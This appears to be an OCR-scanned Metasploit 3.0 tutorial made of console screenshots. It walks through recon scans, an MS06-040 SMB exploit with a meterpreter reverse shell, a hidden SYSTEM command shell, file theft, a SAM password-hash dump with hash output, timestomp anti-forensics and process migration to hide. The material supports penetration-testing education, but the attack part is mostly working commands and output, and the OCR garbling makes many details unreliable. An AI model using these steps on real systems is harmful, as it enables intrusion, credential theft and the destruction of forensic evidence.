Metasploit Framework v3.0

The new MSF 3.0 Architecture
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MSF 3.0 Architecture

Multitasking through Ruby threads

. Share single instance with many users

. Great for team-based penetration testing

. Multi-user plugin is only ~20 lines of code :-)

Concurrent exploits and sessions

. Support for passive exploits and recon mods
. Multiple payload sessions open at once

. Suspend and restore payload sessions

. Share payload sessions with other users

. Handle multi-victim exploits :-)

Rewrite of all exploit modules
. Massive number of bug fixes
. Improved randomness, use of Mixins

Exploit module structure

. Single exploit can target many platforms
. Simplified the meta-information fields

. Mixins can also modify exploit behavior
. Target brute forcing

. Passive exploits




MSF Plug-ins
Msfd plugin

“This plugin provides an msf daemon interface that spawns a listener on a defined port (default
55554) and gives each connecting client its own console interface. These consoles all share the
same framework instance. Be aware that the console instance that spawns on the port is entirely
unauthenticated, so realize that you have been warned.”

& EleiE
load msfd :]
[#] Successfully loaded plugin: msfd

B give me my cmd.exe - nc 127.0.0.1 55554

iC:“\Documents and Settings“JohnnyRockett>nc 127_A_A.1 55554

=[ msf v3.@-heta—2-sun
+ — ——=[ 87 exploits — 93 payloads
+ — ——=[ 17 encoders — 4 nops

=[ 11 aux

«[4dnmsf >« [Bm

Loading the msfd plugin and connecting to the daemon

The default is to set up a listener on 127.0.0.1, that won’t do © change the default
hostname to the IP of the box running msfd in plugins/msfd.rb and connect to it that way

# The default local hostname that the server listens on.
#

DefaultHost = "192.168.0.105"

msf uv3.B-heta—2-sun

87 exploits — 23 payloads
1?7 encoders — 4 nops

11 aux
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load msfd
[#]1 Successfully loaded plugin: msfd

=L msf v3.B@-heta-2—svn
+ —— ——=[ 87 exploits — 2?3 payloads
+ —— ——=[ 17 encoders — 4 nops

=[ 11 aux

[4mmsf >« [Bm




Connecting to the msfd daemon on an IP
To unload the plugin, just type unload “plugin name”

load msfd

[#]1 Successfully loaded plugin: msfd
unload msfd

Unloading plugin msfd...unloaded.

Unloading the plugin



Recon Modules

UDP Sweep
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use scannersdiscoveryssueep_udp _J
show options

Module options:

Hame Current Setting
BATCHSIZE 256 The number of hosts to probe in each set
RHOSTS The target address range oy CIDR identifier

set RHOSTS 192_168.8.118-192_.168.08.118
RHOSTS => 192.168.8.118-192.168.0.118

run

[=*] Sending 6 probes to 192.168.8.118->192.168.8.118 (1 hosts>
[#*] Discovered DNS on 192.168.8.118 (Microsoft>

[=*] Discovered MNetBIOS on 192.168.8.118 >

[#] Auxiliary module execution completed

Using the sweep_udp recon module

SMB Version

Using

use scanner/snhsversion
show options

Module options:
LELT Current Setting Regquired Description
Proxies proxy chain
RHOSTS The target address range or CIDR identifier
SMBDOM WORKGROUP The Windows domain to use for authentication
SHBDirect True The target port is a raw 3MB service <not HNetBIOS>
SHENAME =*SMBSERUER The HetBIOS hostname <(regquired for port 139 connection
SHBPASS The password for the specified username
SMBUSER The username to authenticate as
SSL Use SSL
set RHOSTS 192.168.8.118-192.168.8.118
(RHOSTS => 192.168.0.118-192.168.68.110
run

[=%]1 192 _168_A_.118 iz running Windows 2008A@ Service Pack B - Service Pack 4
[#]1 Auxiliary module execution completed

set RHOSTS 192_168.0.112-192_168.08.113
RHOSTS => 192.168.8.112-192.168.68.113
run
[=] 192.168.8.112 is running YWindows NT 4.8
[=] 192.168.8.113 is running Windows 2083 NHo Service Pack
[#*] Auxiliary module execution completed

Using the SMB version recon module

the Metasploit v3 console
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msf v3.B-heta—2-svn

87 exploits — 93 payloads
17 encoders — 4 nops
11 aux

MSF 3 console



Show exploits

B Metasploit Framework |

msf u3.@-heta—2-sun

87 exploits — 23 payloads
17 encoders — 4 nops

11 aux

show exploits

Exploits

Mame Description
hpux/1pd-scleanup_exec HP-U¥ LPD Command Execution
irix/Ipd-/tagprinter_exec Trix LPD tagprinter Command Execution
linux/games /ut2B@4_secure Unreal Tournament 2804 "secure' Ouverflow {(Linux)}
y linuxshttp/peercast_url PeerCast <= B.1216 URL Handling Buffer Overflow ¢
lln%gzux/ids/snorthopre Snort Back Orifice Pre—Preprocessor Remote Exploi
multisbrowser/firefox_gueryinterface Firefox location.Querylnterface{> Code Execution
multisbrowser mnozilla_compareto Mozilla Suite-sFirefox InstallUersion—>compareTo()
Code Execution
. multisbrowser/mozilla_navigator Mozilla Suite-Firefox Navigator Object Code Execu
tlo:;'mlti/ft Aunftpd_site_exec Wu—FIPD SITE EREC format string exploit

Output of the show exploits command

Selecting an exploit and showing the options
. B Metasploit Framework ﬂﬂ

windows/tftp /tftpd32_long_filename TFIPD32 <= 2.21 Long Filename Buffer Overflow
windows/unicenter/cam_log_security CA CAM log_security(? Stack Overflow <(Win32)>
windows wins/ms@4_@845_wins Microsoft WINS MS5A4-845 Code Execution
use windows/smbh/msB6_B48_netapi
show options
Module options:
Hame Current Setting BRequired Description
Proxies proxy chain
RHOST The target address
RPORT 445 the SMB sewrvice port
SHBDOM WORKGROUP Windows domain to use for authentication
SMBDirect True target port iz a vaw SMB service C(not MNetBIOS)
SHENAME *5MBSERVER HetBI0OS hostname (required for port 139 connection

SHBPASS password for the specified username

SHMEFIFPE BROUSER pipe name to use (BROWSER. SRUSUC)

SHMBUSER username to authenticate as

SSL S8L

Selecting the exploit and showing the options



Showing the available payloads
@ -0 x|

show payloads

Description

genericsshell_hind_tcp Generic Command Shell, Bind TCP Inline

genericsshell_reverse_tcp Generic Command Shell. Reverse TCP Inline

windows /adduser Windows Execute net user ~ADD

windows adduser-bind_tcp Windows Execute net user ~ADD, Bind TCP Stager

windows sadduserf ind_tag Windows Execute net user AADD, Find Tag Ordinal Stager
windows sadduser/reverse_ord_tcp Windows Execute net uszer ~ADD. Reverse Ordinal TCP Stag
windows sadduser/reverse_tcp Windows Execute net uszer ~ADD. Reverse TCP Stager
windows/d11linjectsbind_tcp Windows Inject DLL. Bind TCP Stager
windowssdllinject/find_tag Windows Inject DLL. Find Tag Ordinal Stager
windowssdllinject/reverse_ord_tcp Windows Inject DLL. Reverse Ordinal TCP Stager
windowss/dllinject/reverse_tcp Windows Inject DLL. Reverse TCP Stager

windowsexec Windows Execute Command

windowssexec/bind_tcp Windows Execute Command. Bind TCP Stager
windows“exec/find_tayg Windows Execute Command. Find Tag Ordinal Stager
windows “exec/reverse_ord_tcp Windows Execute Command. Reverse Ordinal ICP Stager

windows “exec/reverse_tcp Windows Execute Command. Reverse TCP Stager

Listing the available payloads

payload and target

set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD =» windows/meterpreter-reverse_tcp
set LHOST 192.168.8.185

Select your

LHOST => 192.168.8.185
show targets

Exploit targets:

{wcscpy? Automatic {NT 4.8, 2880 SPB-SP4. HP SPB-SP1>
Cwcscpy? Windows NI 4.8 ~ Windows 2088 SPA-5P4
Cucscpy? Windows XFP SPB-SP1

{stack?> Windows RP SP1 English

¢{stack> Windows KP SP1 Italian

set TARGET @

Selecting the payload and the target (automatic)

Launch the exploit

Started reverse handler

Detected a Windows 2APA target

Binding to 4b324fc8-1670-01d3-1278-5a47hfbheel8B8:3.0Fncacn_np:192.168.0.11ABROWSER] ..
Bound to 4b324fcB-1678-01d3-1278-5a47hfbeel88:3 .BCncacn_np:192.168.8.118[~BROWSER] ...
Building the stub data...

Calling the vulnerahle function...

Transmitting intermediate stager for over—-sized stage...{89 bytesl

exploi

Sending stage (2834 hytes)

Sleeping hefore handling stage...

Uploading DLL (73739 bytes)._ ..

Upload completed.

Meterpreter zession 1 opened (192 168 _B_.165:4444 -> 192 168 _0.1108:1662>

>

Launching the exploit



Using the MSF v3 Meterpreter

The Meterpreter help menu and options

Command Description
¥ Help menu

channel Displays information about active channels
close Closes a channel

exit Terminate the meterpreter session

help Help menu

interact Interacts th a channel

irh Drop into irb scripting mode

migrate Migrate the server to another process

quit Terminate the meterpreter session

read Reads data from a channel

use Load a one or more meterpreter extensions
urite Writes data to a channel

File system Commands

Command Description
Read the contents of a file to the screen
Change directory
Douwnload a file or directory
Edit a file
Print working directory
List files
Make directory
Print working directory
Remove directory

upload Upload a file or directory

Metworking Commands

Command Description

ipconfig Display interfaces

portfud Forward a local port to a remote service
route View and modify the routing tahle

Ftdapi: System Commands

Command Description

execute Execute a command

getpid Get the current process identifier

getuid Get the user that the server is running as
kill Terminate a process

ps List »unning processes

rehoot Reboots the remote computer

reg Modify and interact with the remote registey
reviself GCalls RevertToSelf(> on the remote machine
shutdown Shuts down the remote computer

sysinfo Gets information about the remote system. such as 08

User interface Commands

Command Description

idlet ime Returns the number of seconds the remote user has been idle
uictl Control some of the user interface components

Meterpreter help menu

a file from the remote host

> pud

> download C:sstryZdownloadme.txt C:on

[#] downloading: C:stryZ2downloadme.txt —> C:n

[#] downloaded : C:stryZdownloadme.txt —» C:in/tryZdownloadme.txt
>

Downloading a file from a remote host

Reading a file on the remote host

» cat try2dounloadme.txt

down loaded from LE80-hackwindouws winZk box.
b

Reading a file on the remote host using cat



Executing a command

> execute —f cmd.exe —c -H
rocess 2696 created.
hannel 1 created.

> interact 1
Interacting with channel 1...

icrosoft Windows 28080 [Version 5.88.21951]

=n>uhoami
ami
T AUTHORITY~SYSTEM

Nrdir

ir
' iz not »ecognized as an internal or external command.
operable program or batch file._

Uolume in drive C has no lahel.
Uolume Serial Mumber is ABAD-BDD1

Directory of C:=N

<DIR> ASFRoot

<DIR> Certificates

<DIR> Documents and Settings

<DIR> Inetpub

<DIR> lahs

<{DIR> Program Files
B4.18.-2806 H <DIR> WINNT

B hytes

2.993.266.688 bytes free

Starting a hidden cmd.exe and interacting with it

Loading the “priv” extension

> use priuv
Loading extension priv...success.
> help

Loading the “priv” extension

The priv extension help menu
Password database Cummandi

Command Description

hashdump Dumps the contents of the SAM database

Timestomp Commands

Description

timestomp pulate file MACE attributes
) hd
The priv extension help menu

Using the priv extension
The priv module allows us to dump the SAM hashes and use the timestomp command.

Hashdump command
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> use priu
oading extension priv...success.
» hashdump
Administrator:5008: aad3h435h514B4eeaad3h435h514l4ee 31d6cfePdlboae?31h?3c5%d7eBcB8?cl
Guest!! 1 :aad3b435h51484eeaad3bh435h51484ee:31dbcfeBd16ae?31h73c59d7eBcB89c
krbtg

IUSR_LSO-HACKY NDOWS #:1083 : 372271 c 490100 a8 6d9934609860a52 = dc8d3dd514ef 8aBe anhabBhs 44
M_LSO-HACKWINDOWS

124:13200b227885f ?f 6aad3h435h51404ee :
125:78d795hBa?78eBeld?44e2df 48228804 :
126:6842a1%cc4chB?eBaad3b435h51484ee : Hf da?5fdbfcee?c2c?98ch8BIBE 61T
127:bc4?2f3hf2aBa5f63832c92fc614h?d1:d2a8Pa?9980cfa21ch58h7chi2%e2cad
:62f740c2eadlelBbh54dhbdcel2eBb67ab
:3dcebec?2cBed8f52b1d?59dd35cFI£AE
:a3aB633217?fac6425af hc45@37efdls

135:ee79559924cAde?38d85f 36h4380aac]:
136:3f864e3666e588963d06187c?4faf193:
137:6a36%8hedf 446a81cl25dadBf cd?@hb5e :

> timestomp

zage: timestomp file_path OPTIONS

<opt> Set the "last accessed' time of the file
Set the MACE timestamps so that EnCase shows hlanks

{opt> Set the "creation" time of the file

{opt> Set the "mft entry modified" time of the file

{opt> 8et the MACE of attributes equal to the supplied file
Help bhanner

{opt> Set the "last written" time of the file
Set the MACE timestamps recursively on a directory
Display the UTC MACE values of the file

{opt> 8Set all four attributes (MACE> of the file

Output of the timestomp help menu

> timestomp C:“\“\hoot.ini -u
Apr B9 15:26:38 GHT-7:80 2606
Apr 18 19:54:57 GHT-7:80 26086
g Apr B9 14:36:31 GHI-7:80 2606
ntry Modified: Mon Apr 18 19:5G:
> timestomp C:““boot . i
[=%] Setting specific MACE attributes on “bhoot _ini
> timestomp C:s\“\hoot.ini —u
Apr B9 15:26:38 GHT-7:80 2066
i Nouv @1 B4:55: -7
@? 14:36:
1@ 19:55:
» timestomp C:sShoot.ini —¢ 171998 1:11:81"
[#] Setting specific MACE attributes on C:“hoot.ini
> timestomp C:s“boot.ini —v
: Sun Apr B? 15:26:38 GMT-7:88 26006
Nccessed : Fri Nouv @1 B4:55:81 GMT- B 1996
Created : Thu Jan 81 B1:11:81 GMT- A 1998
Entry Modified: Mon Apr 18 19:55:37 GMT- 83 2886
> timestomp C:sNboot.ini —=z "1/1.-1997 1:11:82"
1./1-1997 1:11:82
[#] Setting specific MACE attributes on C:xhoot.ini
» timestomp C:s“boot.ini —v
: Wed Jan B1 B1:11:82 GMT-7:88 1997
: Wed Jan 81 B1:11:82 GMI- a3 1997
= Wed Jan B1 B1:11:82 GMT- 3 1997
Entry Modified: Wed Jan 81 81:11:82 GMT-7:@88 1997
» timestomp C:““bhoot.ini -h
[=*] Blanking file MACE attributes on C:“boot.ini
> timestomp C:isNhoot.indi —w
[-]1 Errvor running command timestomp: Invalid MACE values
> timestomp C:“\“autoexec.bat -v
: Sun Apr B9 22:43:88 GMT- 6 26086
Sun Apr B9 22:43:88 GMT- A 2806
Sun Apr B9 22:43:88 GMT- B 2006
Entry Modified: Mon Apr =55: A 28086
> timestomp C:s“hoot_.ini —f C:isxsautoexec.hat
[=#] Setting MACE attributes on C:sboot.ini from C:“autoexec.bat
> timestomp ““hoot.ini —v
Modif ied Sun A 9 22:43:08 GMT-7:80 2606
Nccessed Sun
Created : Sun Apr BY 22:43:88 GMI-
Entry Modified: Hon ﬂpr 1@ 19:55:37 GMT-
>

Output on the timestomp command with various options




Process Migration
You can hide MSF in another process by either migrating to an existing process or by
starting a normal process like calc.exe and migrating to it.

> getpid
urrent pid: 252
> execute
sage: execute —f file [options]

xecutes a command on the remote machine.

Create the process hidden from view.

The arguments to pass to the conmmand.
Channelized I/0 {required for interaction).

The *‘dunmy’ executabhle to launch vhen using —m.
The executable command to run.

Help menu.

Interact with the process after creating it.
Execute from memory.

> execute —f calc.exe
rocess 792 created.
> ps

Getting the current PID and creating another process (calc.exe)
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DIfssuc.exe SUINNT~system32\Df ssuc .exe

tCpsucs.exe INNT~System32\tcpsucs.exe

suchost.exe INNT~System32ssuchost.exe

ismserv.exe INNT~System32\ismserv.exe

1lssrv.exe INNT~System32:1lss exe

Nspmon . exe INNT~System32\UIND 1M\Server-nspnon.exe
Nscm.exe INNT~System32 \UINDOU~ 1 \Servernscm.exe
ntfrs.exe INNT~system32.ntfrs.exe

PEYSUC .EXE INNT~system32\regsvc.exe

locator.exe INNT~System32\locator.exe

PSUP.EXE INNT“System32\rsvp.exe

MSTask.exe INNT~system32\M5Task.exe

SNNp.exe INNT“System32\snnp.exe

suchost.exe INNT“System32:\suchost.exe

termsrv.exe INNT“System32\termsrv.exe

tlntsvr.exe UINNT~system32:\tlntsvr.exe
UMuareService.exe Program Files“UMware\UMuvare Tools“UMwareService.exe
WinMgnt .exe INNT -8 ystem32 \UBEM-UWinMgmt .exe
wins.exe INNT~Bystem32\uins.exe

certsry.exe INNT-~System32\certsrv.exe

dns .exe INNT~Eystem32sdns .exe

inetinfo.exe INNT~System32:\inetsrusinetinfo.exe
MESUE . EXE INNT~System32\ngsvuc .exe

nspm.exe CaSUINNT~System325\UWINDOU™1“\Serversnspn.exe
nsum.exe CaSUINNT S ystem325\UWINDOU™1sServersnsumn.exe
CSPSS . eXe STINCESUWINNTSsystem32Ncsrss..exe
winlogon.exe \77\ SUWINNT~system32swinlogon.exe
CSPSS.exe

winlogon.exe G: \UINNT\“y“tem32\u1nlognn exe
calc.exe C \UINNT\ﬁy“tem32\ca1c exe

> migrate 792

[#*]1 Migrating to 792_._._

[#]1 Migration completed successfully.
> getpid

urrent pid: 792
3

Migrating the meterpreter process to the process we created

In the Future for MSF

Turning Metasploit into Nessus

. Database backend provides “KB” function

. Auxiliary modules for assessment/discovery
. Event coordinator for triggering modules

. Report generator uses the database

Creating a professional mass-rooter
. Auxiliary modules perform discovery
. Exploit modules perform vuln checks



. Plugins automate exploitation
. Plugins automate post-exploitation
. Dump XML reports via ActiveRecord

Resources
“Metasploit completes license change, updates framework”
http://searchsecurity.techtarget.com/columnltem/0,294698,sid14 qci1210976,00.html




